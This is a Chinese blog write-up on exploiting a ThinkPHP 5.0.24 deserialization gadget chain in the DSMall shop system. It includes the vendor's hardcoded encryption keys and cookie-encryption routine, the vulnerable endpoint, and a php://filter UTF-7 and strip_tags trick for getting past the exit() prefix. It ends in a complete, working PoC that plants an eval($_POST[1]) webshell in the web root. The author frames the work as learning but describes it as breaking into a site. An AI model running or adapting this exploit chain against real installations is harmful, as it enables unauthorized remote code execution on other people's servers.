德尚商城(ThinkPHP5.0.24)反序列化漏洞利用初窥

     分类: 编程开发,网络安全 发布时间: 2020-09-09 22:09 4,070人浏览

某一天某人搭了一个靶场,简单看了一下是属于德尚商城这个开源系统。通过简单的报错能看到这货用的是Thinkphp5.0.X框架。那么该怎么打进去呢?

德尚商城(ThinkPHP5.0.24)反序列化漏洞利用初窥插图
德尚商城(ThinkPHP5.0.24)反序列化漏洞利用初窥插图1

一、信息收集

针对德尚商城的漏洞一通百度,发现有不少命令注入的漏洞,遗憾的是CNNVD并没有公开漏洞详情,在github上也找不到利用介绍,遂放弃。
德尚商城(ThinkPHP5.0.24)反序列化漏洞利用初窥插图2

继续翻,发现安全客上有这么一篇文章[1]:
DSMall代码审计
哦豁,有意思

注意到远程代码执行漏洞二,这里说明在未登录情况下:
生成cookie信息并设置访问浏览历史即可getshell
http://test.com/dsmall506/public/home/index/viewed_info
这里的dsmall506是个不太常见的东西,推测是设置网站的一级目录。因此尝试访问http://test.com/public/home/index/viewed_info
德尚商城(ThinkPHP5.0.24)反序列化漏洞利用初窥插图3
感觉有戏,可以下一步深入利用

二、poc分析

在分析具体的poc之前,顺便学习一下反序列化的原理,这里借用一下别人的博客描述[2]:

php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号__开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用,比如__construct当一个对象创建时被调用,__destruct当一个对象销毁时被调用,__toString当一个对象被当作一个字符串使用。为了更好的理解magic方法是如何工作的,在2.php中增加了三个magic方法,__construct, __destruct和__toString。可以看出,__construct在对象创建时调用,__destruct在php脚本结束时调用,__toString在对象被当作一个字符串使用时调用。这些魔术函数有点类似c++里的构造函数和析构函数。而反序列化漏洞正是利用魔术函数执行脚本。
序列化函数serialize()执行的操作是保存一个类,至于为什么要保存,可以举一个简单的例子来看一下,比如php中一个脚本b需要调用上一个脚本a的数据,而脚本b需循环多次,因为脚本a执行完后其本身的数据就会被销毁,总不可能b每次循环时都执行一遍脚本a吧,serialize()就是用来保存类的数据的,而unserialize()则是将保存的类的数据转换为一个类。

简单地来说,序列化就是把一个类(对象)转换成一串字符串,再通过反序列化将这一串字符串还原为一个类。反序列化的漏洞就是利用原有程序中反序列化对接收到类的处理方法,控制某个参数点,从而达到命令执行或者文件上传的目的。
这个攻击本质上是发送了一个包含恶意攻击的对象,只是因为在传输过程中被序列化为字节流,发送的是已经结果序列化的对象,所以被称作反序列化漏洞。

那么下面我们就可以来仔细看看这个poc了。

<?php
//到这里为止,前面的一大段namespace、use都是在构造一个符合要求的对象,这个对象以think\model作为基类,只有在之后的语句中,新建了一个windows对象之后,前面的对象构造才会被一步步触发。
namespace think\model;
abstract class Relation{}
namespace think\cache;
abstract class Driver
{
}

namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver
{
        protected $tag;
        protected $expire=0;
        protected $options = [
        'expire'        => 0,
        'cache_subdir'  => false,
        'prefix'        => '',
        'path'          => '',
        'data_compress' => false,
    ];
    public function __construct()
    {
        $this->options['path'] = 'php://filter/write=string.rot13/resource='; //resource=upload/
//核心参数1,这里使用了php://filter伪协议写入文件,写入文件的位置由resource=决定。
        $this->tag= "good";
    }
}

class Memcached extends Driver{
 protected $handler = null;
 protected $tag;
 public function __construct()
    {
        $this->handler= new File();
        $this->tag= "mem"; //shell name = md5("tag_".md5("mem"))=cd6f3f9927538f9ffbcb1171f50582fe
//核心参数3,这个tag决定了最后生成的shell文件名,推测是于thinkphp的处理函数有关,将tag做了两次md5编码与字符串拼接。
    }
}
namespace think\session\driver;
use think\cache\driver\Memcached;
class Memcache{
 protected $handler = null; 
 protected $config  = [
    'expire'       => 3600, // session有效期
    'timeout'      => 0, // 连接超时时间(单位:毫秒)
    'persistent'   => true, // 长连接
        'session_name' => 'nn<?cuc cucvasb();?>', // memcache key =shell content
//核心参数2,session_name中间包含了payload,nn<?cuc cucvasb(); 经过rot13解码后就是aa<?php phpinfo();
    ];
     public function __construct()
    {
        $this->handler= new Memcached();
    }
}

namespace think\console;
use think\session\driver\Memcache;
class Output{
    protected $styles = [
        'getAttr'
    ];
    private $handle = null;
    public function __construct()
    {
        $this->handle= new Memcache();
    }
}

namespace think\db;
use think\console\Output;
class Query
{
      protected $model;
     function __construct(){
        $this->model= new Output();
     }
}

namespace think\model\relation;
use think\model\Relation;
use think\console\Output;
use think\Model;
use think\db\Query;
abstract class OneToOne extends Relation{
}
class HasOne extends OneToOne
{
     protected $bindAttr = [];
     protected $query;
       function __construct(){
        $this->selfRelation = $this;
        $this->bindAttr = ["lin"=>"haha"];
         $this->query  = new Query(); 
    }
}

namespace think;
use think\model\relation\HasOne;
use think\console\Output;
abstract class Model{
    protected $append = [];
    protected $error;
    public $parent;
    function __construct(){
         $this->append = ["lin"=>"getError"];
         $this->error = new HasOne();
         $this->parent = new Output();
    }
}

namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}

//经过调试之后可以看到,实际上程序会先从这里开始新建windows对象
namespace think\model;
use think\Model;
use think\console\Output;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
$a=new Windows();  //新建windows对象,一步步通过前面的class进行构造
$res= ds_encrypt(serialize($a),"a2382918dbb49c8643f19bc3ab90ecf9");  //把对象a通过序列化函数serialize()进行,序列化,再使用ds_encrypt进行加密。
echo $res;

//ds_encrypt是dsshop自己实现的一个加密函数,用于将序列化后的数据进行加密。这一块可以不用去实际理解,因为你也不会明白为什么开发人员要去这么加密,只要能用就行。(根据代码审计分析文章,a2382918dbb49c8643f19bc3ab90ecf9和-x6g6ZWm2G9g_vr0Bo.pOq3kRIxsZ6rm是硬编码的加密秘钥)
function ds_encrypt($txt, $key = '')
{
    define('TIMESTAMP',time());
    if (empty($txt))
        return $txt;
    if (empty($key))
        $key = md5('a2382918dbb49c8643f19bc3ab90ecf9');
    $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.";
    $ikey = "-x6g6ZWm2G9g_vr0Bo.pOq3kRIxsZ6rm";
    $nh1 = rand(0, 64);
    $nh2 = rand(0, 64);
    $nh3 = rand(0, 64);
    $ch1 = $chars{$nh1};
    $ch2 = $chars{$nh2};
    $ch3 = $chars{$nh3};
    $nhnum = $nh1 + $nh2 + $nh3;
    $knum = 0;
    $i = 0;
    while (isset($key{$i}))
        $knum += ord($key{$i++});
    $mdKey = substr(md5(md5(md5($key . $ch1) . $ch2 . $ikey) . $ch3), $nhnum % 8, $knum % 8 + 16);
    $txt = base64_encode(TIMESTAMP . '_' . $txt);
    $txt = str_replace(array('+', '/', '='), array('-', '_', '.'), $txt);
    $tmp = '';
    $j = 0;
    $k = 0;
    $tlen = strlen($txt);
    $klen = strlen($mdKey);
    for ($i = 0; $i < $tlen; $i++) {
        $k = $k == $klen ? 0 : $k;
        $j = ($nhnum + strpos($chars, $txt{$i}) + ord($mdKey{$k++})) % 64;
        $tmp .= $chars{$j};
    }
    $tmplen = strlen($tmp);
    $tmp = substr_replace($tmp, $ch3, $nh2 % ++$tmplen, 0);
    $tmp = substr_replace($tmp, $ch2, $nh1 % ++$tmplen, 0);
    $tmp = substr_replace($tmp, $ch1, $knum % ++$tmplen, 0);
    return $tmp;
}
?>

配好环境打个断点调试一下,可以看到经过new一个windows对象后,$a形成的对象结构:
德尚商城(ThinkPHP5.0.24)反序列化漏洞利用初窥插图4
序列化后则是这样:
德尚商城(ThinkPHP5.0.24)反序列化漏洞利用初窥插图5
再经过一层加密,就生成了最后的cookie数据。

三、尝试利用

原有poc中给出了利用方法,有以下几个重要参数:
1. options['path'] = 'php://filter/write=string.rot13/resource=';
2. 'session_name' => 'nn<?cuc cucvasb();?>', // memcache key =shell content
3. tag= "mem"; //shell name = md5("tag_".md5("mem"))=cd6f3f9927538f9ffbcb1171f50582fe

path参数利用php://filter伪协议写入文件,写入文件的位置由resource决定,poc中这里留了空需要补全。
session_name参数中写入了具体payload,因为在前面的path参数中使用了string.rot13转码,因此写入的payload是已经经过rot13转码的。在实际写入时,再过一次rot13编码就能恢复成原来的aa
tag参数决定了最后生成的文件名,具体的原理暂时还没有研究清楚。唯一可以确定的是生成文件名的方法由md5(“tag_”.md5(“tag”))决定。出于稳妥考虑,先暂时不修改他了。

假设这个poc可用,那么首要的事情是把文件写到一个我们能访问到的路径。这个路径需要通过一个信息泄露漏洞得知。所幸在开始信息收集的过程中,发现随便输个不存在的目录就会引发报错,暴露绝对路径:
德尚商城(ThinkPHP5.0.24)反序列化漏洞利用初窥插图6
显然,web目录就是/www/wwwroot/129xxx/,能访问到的资源则是/www/wwwroot/129xxx/public/ (这个需要一定的经验,或者复现一个环境才能得知)
OK,把resource修改成我们需要的目录,打上去试试:

options['path'] = 'php://filter/write=string.rot13/resource=/www/wwwroot/129xxx/public/'; 
'session_name' => 'nn<?cuc cucvasb();?>', // memcache key =shell content
tag= "mem"; //shell name = md5("tag_".md5("mem"))=cd6f3f9927538f9ffbcb1171f50582fe

德尚商城(ThinkPHP5.0.24)反序列化漏洞利用初窥插图7
显示500报错了。

为了更直观的看到生成的效果,我们直接到目标主机上看看结果:
德尚商城(ThinkPHP5.0.24)反序列化漏洞利用初窥插图8
可以看到在目标目录下成功生成了名为cd6f3f9927538f9ffbcb1171f50582fe.php的文件。文件内容为:

<?cuc
//000000000000
 rkvg();?>
f:43:"aa<?php phpinfo();?><trgNgge>unun</trgNgge>";

另外还生成了342与c05两个中间文件,分别为:
342c486abc21b67e04718bdecce120f1.php

<?cuc
//000000000000
 rkvg();?>
f:113:"cuc://svygre/jevgr=fgevat.ebg13/erfbhepr=/jjj/jjjebbg/129/choyvp/p051089051opqsrs89150ro1o09768op.cuc";

c051089051bcdfef89150eb1b09768bc.php

<?cuc
//000000000000
 rkvg();?>
o:1;

其中更改payload等参数都会对中间文件的文件名产生影响,但是最终生成的文件名不变。原理暂时不明,可能得要去读源码才能了解了。

访问一下生成的最终PHP文件看看:
德尚商城(ThinkPHP5.0.24)反序列化漏洞利用初窥插图9
报错了……

四、poc修改

分析一下报错内容:
Parse error: syntax error, unexpected 'rkvg' (T_STRING) in /www/wwwroot/129xxx/public/cd6f3f9927538f9ffbcb1171f50582fe.php on line 3
显然是<?cuc
//000000000000
rkvg();?>

这一块出了问题。
拉去百度一波,发现是php开启短标签的锅[3][4]。该网站支持php短标签:short_open_tag = On,导致<?cuc被当作php代码来执行。rkvg()作为一个函数无法被解析,因此出现了错误。

接下来就需要自己开动脑筋,解决掉短标签的问题,同时又不能影响到原有的payload使用。我们看回生成的php文件内容,之所以会产生cuc这样奇怪的标签,是因为原本这是一个带有exit()的php标签,也就是如下代码,在经过php://filter伪协议中的rot13编码之后转换了成了我们看到的样子,其中大致包含三个部分::

<?php
//000000000000
 exit();?>
f:43:"nn<?cuc cucvasb();?><getAttr>haha</getAttr>";

//1、前面php标签内的内容,自带了//000000000000和exit()
//2、序列化的残留f:43:+写进去的实际payload:php phpinfo();
//3、<trgNgge>unun</trgNgge> 也就是getattr,lin变量中的内容

其中部分1是程序自动生成,我们无法进行控制。部分2、3是我们可以控制的,但其实3不是很重要。
之前的poc中利用了php://filter/write=string.rot13进行转换导致了出现短标签的问题,可以推测出来我们的filter是对php文件内容中所有的字符串一起进行处理。

复习一下php://filter/,这玩意儿主要用于字节流中的编码或者过滤[5][6]。它支持多个过滤器:
– string.rot13 //rot13编码
– string.toupper //全部转换为大写
– string.tolower //全部转换为小写
– string.strip_tags //去除html和php标记
– convert.* //转换过滤器
– convert.iconv.* //使用iconv函数的转换过滤器

可以同时使用多个过滤器,利用管道符(|)进行分隔。如:string.strip_tags|string.rot13就是先去除所有html和php标记之后,再对字符串进行rot13编码。

想要绕过死亡exit(),最方便的方法就是用string.strip_tags把php相关标签都去掉,但是如果直接使用string.strip_tags,我们的也会被干掉,所以需要使用某种编码把我们的payload进行转换,避开strip_tags处理,最后再进行还原[7]。编码方法第一个想到的就是base64,也就是:
1. options['path'] = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=';
2. 'session_name' => 'PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWzFdKTs/Pg==', //这里的payload先经过base64编码,还原后即为(需要注意的是理想情况下,过一遍string.strip_tags之后,前面的f:43:”还在,因为base64是4个一组进行编码的,所以可能需要在payload前a,让前面的字符凑整数,后面才能正确解码)

想法很完美,生成cookie打过去,问题出现了:
德尚商城(ThinkPHP5.0.24)反序列化漏洞利用初窥插图10
没有生成最终的文件!查看生成的中间文件,发现只剩一个字符o,原因不明。

根据其他博客的说法[8],推测是使用base64解码之后,因为存在=的原因,整个base64解析就直接结束了,导致后面整个都没有了。那么除了base64,还有其他什么方法呢?

这里又参考了其他大佬们的做法,有使用ibm1390这种冷门方法进行编码的[3]。ibm1390这种编码方式启发了我,但是这篇文章中,经过ibm1390编码后产生了不可见字符,导致只能转为url编码后使用urldecode()解码强行写入。因为我们的实际payload写在变量session_name而不是resource中,导致urldecode()不方便用,因此只能改用其他的方法。另外一位大佬使用了utf-7进行编码[9],但是他的处理方式是convert.iconv.utf-8.utf-7|convert.base64-decode,也就是直接把=干掉,非常简单粗暴。虽然用utf-8转utf-7不行,写utf-7的webshell不行,但可以反其道而行之呀。因为utf-7中=会转换成+AD0-,都是可见字符,所以我们完全可以把payload先用utf-7编码,之后再转回utf-8。
将webshell内容转成utf-7,写个简单的php程序:

<?php
$fp = fopen('test.txt', 'w+');
$r = stream_filter_append($fp, 'convert.iconv.utf-8.utf-7',STREAM_FILTER_WRITE);
fwrite($fp, '<?php phpinfo();eval($_POST[1]);?>');
fclose($fp);
echo $r;
?>

生成payload:
1. options['path'] = 'php://filter/write=string.strip_tags|convert.iconv.utf-7.utf-8/resource=/www/wwwroot/129xxx/public/';
2. 'session_name' => '+ADw?php phpinfo()+ADs-eval(+ACQAXw-POST+AFs-1+AF0)+ADs?+AD4-'
德尚商城(ThinkPHP5.0.24)反序列化漏洞利用初窥插图11
大功告成!!

可以看到在webshell前仍然存在字符s:80:”,这就是转码后没有改变的部分了,不过并不影响webshell的使用。

最后完整版的poc:

<?php
namespace think\model;
abstract class Relation{}

namespace think\cache;
abstract class Driver
{
}

namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver
{
    protected $tag;
    protected $expire=0;
    protected $options = [
        'expire'        => 0,
        'cache_subdir'  => false,
        'prefix'        => '',
        'path'          => '',
        'data_compress' => false,
    ];
    public function __construct()
    {
        $this->options['path'] = 'php://filter/write=string.strip_tags|convert.iconv.utf-7.utf-8/resource=网站目录'; //resource=upload/
        $this->tag= '2333333';  //这个影响生成开头342的文件
    }
}

class Memcached extends Driver{
    protected $handler = null;
    protected $tag;
    public function __construct()
    {
        $this->handler= new File();
        $this->tag= "mem"; //shell name = md5("tag_".md5("mem"))=cd6f3f9927538f9ffbcb1171f50582fe
    }
}
namespace think\session\driver;
use think\cache\driver\Memcached;
class Memcache{
    protected $handler = null;
    protected $config  = [
        'expire'       => 3600, // session??Ч??
        'timeout'      => 0, // ???????????λ??????
        'persistent'   => true, // ??????
        'session_name' => '+ADw?php phpinfo()+ADs-eval(+ACQAXw-POST+AFs-1+AF0)+ADs?+AD4-', // memcache key =shell content
    ];
    public function __construct()
    {
        $this->handler= new Memcached();
    }
}

namespace think\console;
use think\session\driver\Memcache;
class Output{
    protected $styles = [
        'getAttr'
    ];
    private $handle = null;
    public function __construct()
    {
        $this->handle= new Memcache();
    }
}

namespace think\db;
use think\console\Output;
class Query
{
    protected $model;
    function __construct(){
        $this->model= new Output();
    }
}

namespace think\model\relation;
use think\model\Relation;
use think\console\Output;
use think\Model;
use think\db\Query;
abstract class OneToOne extends Relation{
}
class HasOne extends OneToOne
{
    protected $bindAttr = [];
    protected $query;
    function __construct(){
        $this->selfRelation = $this;
        $this->bindAttr = ["lin"=>""]; //这个影响生成e30开头的文件
        $this->query  = new Query();
    }
}

namespace think;
use think\model\relation\HasOne;
use think\console\Output;
abstract class Model{
    protected $append = [];
    protected $error;
    public $parent;
    function __construct(){
        $this->append = ["lin"=>"getError"];
        $this->error = new HasOne();
        $this->parent = new Output();
    }
}

namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}

namespace think\model;
use think\Model;
use think\console\Output;
class Pivot extends Model
{
}

use think\process\pipes\Windows;
$a=new Windows();
$res= ds_encrypt(serialize($a),"a2382918dbb49c8643f19bc3ab90ecf9");
echo $res;

function ds_encrypt($txt, $key = '')
{
    define('TIMESTAMP',time());
    if (empty($txt))
        return $txt;
    if (empty($key))
        $key = md5('a2382918dbb49c8643f19bc3ab90ecf9');
    $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.";
    $ikey = "-x6g6ZWm2G9g_vr0Bo.pOq3kRIxsZ6rm";
    $nh1 = rand(0, 64);
    $nh2 = rand(0, 64);
    $nh3 = rand(0, 64);
    $ch1 = $chars{$nh1};
    $ch2 = $chars{$nh2};
    $ch3 = $chars{$nh3};
    $nhnum = $nh1 + $nh2 + $nh3;
    $knum = 0;
    $i = 0;
    while (isset($key{$i}))
        $knum += ord($key{$i++});
    $mdKey = substr(md5(md5(md5($key . $ch1) . $ch2 . $ikey) . $ch3), $nhnum % 8, $knum % 8 + 16);
    $txt = base64_encode(TIMESTAMP . '_' . $txt);
    $txt = str_replace(array('+', '/', '='), array('-', '_', '.'), $txt);
    $tmp = '';
    $j = 0;
    $k = 0;
    $tlen = strlen($txt);
    $klen = strlen($mdKey);
    for ($i = 0; $i < $tlen; $i++) {
        $k = $k == $klen ? 0 : $k;
        $j = ($nhnum + strpos($chars, $txt{$i}) + ord($mdKey{$k++})) % 64;
        $tmp .= $chars{$j};
    }
    $tmplen = strlen($tmp);
    $tmp = substr_replace($tmp, $ch3, $nh2 % ++$tmplen, 0);
    $tmp = substr_replace($tmp, $ch2, $nh1 % ++$tmplen, 0);
    $tmp = substr_replace($tmp, $ch1, $knum % ++$tmplen, 0);
    return $tmp;
}

//var_dump($querydata);
?>

五、一点补充

这一次的漏洞利用与ThinkPHP框架本身高度相关,但又与通用的利用方式有所区别。网上ThinkPHP利用链中的payload都是直接写在resource=中,实际生成的文件名在md5的基础前还要再加上经过rot13的payload才可以访问。德尚商城这种直接写在session_name中的方法,显得更加简洁,但没有任何一篇文章提到会生成中间文件,具体用来做什么的也不太明朗。我只能初步推测是在接收到序列化的对象之后,反序列化后对对象进行的操作不太一样,导致了利用方法的区别(当然也导致了构造对象的区别),但具体是不是,还得等到后面学会代码审计之后才能证实了。

六、后记

通过这次机缘巧合的日站,把整个ThinkPHP5.0.x的反序列化漏洞和具体的利用方法都给好好的学习了一遍。一边学一边感慨这些漏洞利用方法的精妙。因为之前没有学习过PHP,这一次实战漏洞做得非常艰难,包括一些PHP的环境搭建都是百度现学的。包括直到漏洞成功,整个利用链也懵懵懂懂。例如为什么会生成中间文件,中间文件的奇怪命名规则、base64绕过没法生效等等疑问到目前为止仍然没有得到解答,只能寄希望于之后,学习更进一步的时候,从更高程度的角度(例如代码审计的角度)看待问题吧。这篇文章的完成,需要大大滴感谢flystart师傅,他的文章给我带来了灵感,也带领我更深一步地认识thinkphp反序列化,切噜~


参考链接:
[1]DSMall代码审计
[2]关于反序列化漏洞的一些理解
[3]thinkphp5.0.x反序列化之遇到php开启短标签
[4]Thinkphp5.0反序列化链在Windows下写文件的方法
[5][php代码审计] php://filter
[6]php://filter说明文档
[7]php://filter 的使用
[8]file_put_contents利用技巧(php://filter协议)
[9]SCTF2020 wp
[10]谈一谈php://filter的妙用


上一篇文章:

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注